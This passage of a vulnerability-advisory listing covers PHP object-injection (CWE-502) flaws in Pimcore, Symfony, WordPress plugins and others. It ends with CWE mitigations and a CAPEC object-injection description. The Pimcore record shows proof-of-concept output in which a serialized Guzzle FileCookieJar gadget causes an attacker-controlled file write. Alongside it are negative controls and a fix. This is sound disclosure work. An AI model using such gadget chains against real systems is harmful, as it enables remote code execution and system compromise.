STEP 3: create+save object carrying that image ===\n object id=4 store=object_store_1\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n json_decode(stored) === null ? true (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n target file before load exists? false\n (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\\Cookie\\FileCookieJar as array\n=== RESULT ===\n [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt\n contents: [{\"Expires\":1,\"Discard\":false,\"Value\":\"PWNED_BY_DESERIALIZATION_1780420803\"}]\n```\n\nCaptured output \u2014 RUN B (negative control, benign JSON in the column):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n [negative control] storing benign JSON\n stored prefix: {\"hotspots\":[],\"marker\":[],\"crop\":[]}\n json_decode(stored) === null ? false (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n target file before load exists? false\n reloaded class=Pimcore\\Model\\DataObject\\E2eHotspot\n=== RESULT ===\n [NOT TRIGGERED] target file absent\n```\n\nCaptured output \u2014 RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n json_decode(stored) === null ? true (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n target file before load exists? false\n [negative control] fixed wrapper allowed_classes=false on the same bytes\n returned type=object class=__PHP_Incomplete_Class\n=== RESULT ===\n [NOT TRIGGERED] target file absent\n```\n\nRUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\\Cookie\\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs \u2014 i.e. the proposed fix neutralizes the attack.\n\n## Impact\n\nPHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore\u0027s bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.\n\n## Remediation\n\nMake `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.\n\nPreferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place):\n```php\npublic static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed\n```\n(i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `[\u0027allowed_classes\u0027 =\u003e false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1",
"id": "GHSA-w23p-wrp7-ch38",
"modified": "2026-08-28T19:13:25Z",
"published": "2026-08-28T19:13:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-w23p-wrp7-ch38"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/pull/19181"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/commit/b184c01bf11e213e601d965b4e96c8bb7248e980"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/pimcore"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.10"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)"
}
GHSA-W264-JX82-7G7R
Vulnerability from github – Published: 2023-12-28 12:30 – Updated: 2026-04-28 21:33
VLAI
Details
Deserialization of Untrusted Data vulnerability in Gesundheit Bewegt GmbH Zippy.This issue affects Zippy: from n/a through 1.6.5.
Severity
6.6 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-36381"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-28T11:15:09Z",
"severity": "MODERATE"
},
"details": "Deserialization of Untrusted Data vulnerability in Gesundheit Bewegt GmbH Zippy.This issue affects Zippy: from n/a through 1.6.5.",
"id": "GHSA-w264-jx82-7g7r",
"modified": "2026-04-28T21:33:34Z",
"published": "2023-12-28T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36381"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/zippy/wordpress-zippy-plugin-1-6-3-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W2FR-65VP-MXW3
Vulnerability from github – Published: 2020-02-12 18:44 – Updated: 2024-02-05 11:09
VLAI
Summary
Deserialization of untrusted data in Symfony
Details
In Symfony before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, it is possible to cache objects that may contain bad user input. On serialization or unserialization, this could result in the deletion of files that the current user has access to. This is related to symfony/cache and symfony/phpunit-bridge.
Severity
7.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/cache"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.4.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/cache"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/cache"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0"
},
{
"fixed": "4.2.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/phpunit-bridge"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.50"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/phpunit-bridge"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/phpunit-bridge"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/phpunit-bridge"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0"
},
{
"fixed": "4.2.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.50"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0"
},
{
"fixed": "4.2.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.5.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10912"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-02-11T20:17:25Z",
"nvd_published_at": "2019-05-16T22:29:00Z",
"severity": "HIGH"
},
"details": "In Symfony before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, it is possible to cache objects that may contain bad user input. On serialization or unserialization, this could result in the deletion of files that the current user has access to. This is related to symfony/cache and symfony/phpunit-bridge.",
"id": "GHSA-w2fr-65vp-mxw3",
"modified": "2024-02-05T11:09:27Z",
"published": "2020-02-12T18:44:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10912"
},
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/commit/4fb975281634b8d49ebf013af9e502e67c28816b"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4441"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2019-016"
},
{
"type": "WEB",
"url": "https://symfony.com/cve-2019-10912"
},
{
"type": "WEB",
"url": "https://symfony.com/blog/cve-2019-10912-prevent-destructors-with-side-effects-from-being-unserialized"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/May/21"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZLOZX5BZMQKWG7PJRQL6MB5CAMKBQAWD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RTJGZJLPG5FHKFH7KNAKNTWOGBB6LXAL"
},
{
"type": "WEB",
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},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2019-10912.yaml"
},
{
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"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2019-10912.yaml"
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"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2019-10912.yaml"
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"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/phpunit-bridge/CVE-2019-10912.yaml"
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"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/cache/CVE-2019-10912.yaml"
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],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of untrusted data in Symfony"
}
GHSA-W2Q7-453R-GJQ2
Vulnerability from github – Published: 2024-01-19 15:30 – Updated: 2026-04-28 21:33
VLAI
Details
Deserialization of Untrusted Data vulnerability in Nextend Smart Slider 3.This issue affects Smart Slider 3: from n/a through 3.5.1.9.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-45845"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-19T15:15:08Z",
"severity": "MODERATE"
},
"details": "Deserialization of Untrusted Data vulnerability in Nextend Smart Slider 3.This issue affects Smart Slider 3: from n/a through 3.5.1.9.",
"id": "GHSA-w2q7-453r-gjq2",
"modified": "2026-04-28T21:33:50Z",
"published": "2024-01-19T15:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45845"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/smart-slider-3/wordpress-smart-slider-3-plugin-3-5-1-9-auth-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W2RH-RMH8-JMWQ
Vulnerability from github – Published: 2026-08-03 09:32 – Updated: 2026-08-04 18:31
VLAI
Details
The ChamaWP WordPress plugin before 1.0.13 does not properly validate user input before passing it to a PHP deserialization function, allowing unauthenticated attackers to inject arbitrary PHP objects, which could lead to remote code execution when a suitable gadget chain is present via other installed code.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2025-15672"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T07:16:37Z",
"severity": "HIGH"
},
"details": "The ChamaWP WordPress plugin before 1.0.13 does not properly validate user input before passing it to a PHP deserialization function, allowing unauthenticated attackers to inject arbitrary PHP objects, which could lead to remote code execution when a suitable gadget chain is present via other installed code.",
"id": "GHSA-w2rh-rmh8-jmwq",
"modified": "2026-08-04T18:31:21Z",
"published": "2026-08-03T09:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15672"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/8fcef037-db68-4595-be86-be3bf315c385"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Implementation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Implementation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Implementation
Explicitly define a final object() to prevent deserialization.
Mitigation
Architecture and Design
Implementation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Architecture and Design
Implementation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.